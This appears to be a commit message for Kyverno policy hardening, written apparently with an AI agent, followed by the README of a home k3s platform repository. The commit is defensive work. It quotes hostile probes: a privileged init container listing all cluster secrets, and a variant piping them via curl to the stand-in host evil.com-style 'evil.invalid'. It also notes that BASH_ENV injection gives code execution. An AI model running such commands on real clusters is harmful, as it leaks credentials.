jakman85andClaude Opus 5
44dbd44333
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
home-network-k3s-impl
Implementation of the home k3s + Longhorn platform. This repo holds the reconciled artifacts
(Flux config, Kustomize overlays, KubeVirt/Helm manifests, ServiceDefinitions, Kyverno policies,
Chainsaw conformance tests, CI). It is driven by — and subordinate to — the read-only
specification at ../home-network-k3s.
Rules (from the spec — non-negotiable)
- The spec is read-only. Never modify anything under
../home-network-k3s. Implement against it; escalate spec problems, don't edit them (specAGENTS.md§11, R-TEST-06). - Done = a green, reproducible, requirement-tagged conformance test — never "merged," never a
manual demo (spec
docs/14,agents/definition-of-done.md). - No work on
main. Every change is a feature branch merged intomain(specCONTRIBUTING.md). - No plaintext secrets — SOPS-encrypted only (spec
docs/07). - Phase discipline — only build what the active roadmap phase authorizes (spec
roadmap/phases.md).
Layout
infra/ node provisioning: OpenTofu (Proxmox VE) + cloud-init + Ansible, and the
pinned dev container that carries the whole toolchain
bootstrap/ one-time cluster bootstrap: Flux install, SOPS/age key, host Gitea
platform/ platform CONTROLLERS (Flux HelmReleases / operator bases): kyverno, cilium,
longhorn, external-snapshotter, cert-manager, externaldns, gateway, coredns,
vpn-egress, monitoring, cnpg, keycloak, oauth2-proxy, kubevirt
platform-config/ platform CONFIGS — the custom resources of the CRDs installed above
(ClusterIssuers, Gateway, Kyverno policies, KubeVirt/CDI CRs, Keycloak CRs).
Split out because CRs and the CRDs they use cannot apply in one pass.
apps/ application tier, reconciled as dependency-ordered WAVES:
wave-0/ wave-1/ wave-2/ rendered container apps (see DESIGN-waves.md)
vms/ KubeVirt VirtualMachines (non-gating tier)
catalog/ ServiceDefinition entries (the onboarding surface) + render.py
schemas/ ServiceDefinition JSON Schema + renderer contract
clusters/ Flux entrypoints + dev/ and prod/ overlays
conformance/ Chainsaw behavior/conformance suite + harness + coverage report
ci/ the gate as scripts (lint · schema · Kyverno L0 · L1 render · decision)
.gitea/ Gitea Actions CI running that gate on an in-cluster runner
Status
Roadmap phases 0–6 are delivered, and Phase 7 (Production Readiness) is OPEN and in
progress. clusters/prod is no longer a design-only overlay: prod is the live cluster, serving the
apex home.keithjackson.dev. The dev cluster was decommissioned on 2026-09-12 (full migration:
dev out, prod onto the apex — see the DECISIONS-LOG), so phases 0–6 are now exercised on prod
hardware rather than on Proxmox VMs.
Phase 7 exit criteria — prod runs the same config via the prod overlay; DR proven; monitoring + alerts live:
| criterion | state |
|---|---|
| prod runs the prod overlay | met — 3× mini-PC bare metal, one Flux tree, prod overlay only |
| monitoring + alerts live | met 2026-09-13 — see the note below; this was not true before that date |
| DR proven | R-STATE-03 PROVEN on prod 2026-09-14 — off-cluster restore from Cloudflare R2. R-STATE-02 (node-loss) is still dev-only |
DR restore is proven on prod. R-STATE-03 reads proven in --status as of 2026-09-14 —
the first requirement in this repo to reach that state. Both of its verifiers are recorded:
dr-restore (L3, run 20260914T021505Z-24b8111, sentinel DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK)
and placeholder-guard-coupling (L0). The L3 drill seeds a canary on the replicated longhorn
class, backs the namespace and volume data up off-cluster, destroys every in-cluster copy
(namespace, PVC and PV), restores into a clean namespace, and asserts the restored PVC binds a
different PersistentVolume — so an in-cluster survival cannot pass as a restore.
What remains for Phase 7: R-STATE-02 (node-loss) is still proven only on the decommissioned
dev cluster. That drill takes a real node down on a live cluster, so it is a deliberate, scheduled
exercise rather than something to run in passing.
Read --coverage-only and --status as two different questions; the earlier PROVEN: 0 was not a
bug but the honest answer, because proofs are claims about a specific tree on a specific cluster.
| Phase | Delivered |
|---|---|
| 0 Foundations | ServiceDefinition schema + renderer, Kyverno L0 gate, conformance harness, CI |
| 1 Cluster bring-up | 3-node k3s HA, embedded etcd, kube-vip VIP, Cilium, Flux, SOPS. Originally Proxmox VMs; now 3× mini-PC bare metal (k3s-prod-1/2/3, 192.168.2.10/.11/.12, k3s v1.36.4+k3s1, Debian 13) |
| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon DNS, both halves: CoreDNS for pods, and PiHole as the authoritative LAN resolver for ${BASE_DOMAIN} on udp/53 + tcp/53 at a pinned VIP (192.168.2.23 on prod). The LAN half was claimed from the start but did not exist until 2026-09-14 — PiHole's Service was ClusterIP :80/:4180, so LAN clients ran on hand-maintained per-client dnsmasq files |
| 3 Egress / VPN | ADR-0015 node-level OpenVPN split-tunnel + Cilium egress-gateway steering + host kill-switch |
| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. Velero unblocked 2026-09-13 — backs up to Cloudflare R2 (OQ-BKP closed; the velero-plugin-for-aws tagging incompatibility needed a pinned plugin). Longhorn has no backup target by decision: volume data is protected by Velero + kopia to R2. image-automation authored but disabled |
| 5 IaaS | KubeVirt + CDI on real nested KVM; live-migratable RWX VM storage. The UniFi VM runs, but UniFi OS Server is not yet installed in the guest |
| 6 Identity + CI | Keycloak (Operator + CNPG) · oauth2-proxy forward-auth · Grafana OIDC · kubectl OIDC SSO with group→RBAC · in-cluster Gitea Actions merge gate |
| 7 Production readiness | IN PROGRESS (DR restore proven 2026-09-14; node-loss outstanding). Prod live on bare metal serving the apex; dev decommissioned; CNPG HA 3 instances with primaries spread one per node; NFS bulk media + legacy Nextcloud mounted; VPN egress on prod. Alerting made real 2026-09-13 (Longhorn, cert-manager, Flux and twelve app SLIs had all been unable to fire). Open: node-loss (R-STATE-02) re-proven on prod. |
Conformance: 51 / 51 requirements covered (100%), 0 gaps, 0 safety-critical gaps (closed
2026-09-13; R-C2-01/R-C2-02 were the last two). Regenerate with
./conformance/run.sh --coverage-only; the full report is
conformance/_artifacts/coverage/coverage.md.
Coverage is not proof. A requirement is covered when an executable test exists for it, and
PROVEN only when a recorded run of that test is in conformance/runs/ledger.jsonl at the current
SHA on the cluster it claims. Read both numbers: --coverage-only for the first, --status for the
second.
The running narrative — decisions, root causes, incidents, follow-ups — is
DECISIONS-LOG.md. It, not this table, is the authoritative record.
Working on this repo
Everything the gate needs is baked into the pinned dev container — do not install the toolchain on the host:
infra/devcontainer/dev.sh build # once
infra/devcontainer/dev.sh run make -C ci gate # the same gate CI runs
infra/devcontainer/dev.sh # interactive shell (sops, flux, kubectl, tofu, ansible)
The container mounts the repo at /work, your age keyring, and the sibling spec repo read-only
so the spec-immutability check can actually run. See
infra/devcontainer/README.md.
A green run prints MERGE GATE: PASS. The L2/L3 conformance layers stay SKIPPED unless
CLUSTER_AVAILABLE=true — the static gate never pretends to have run them.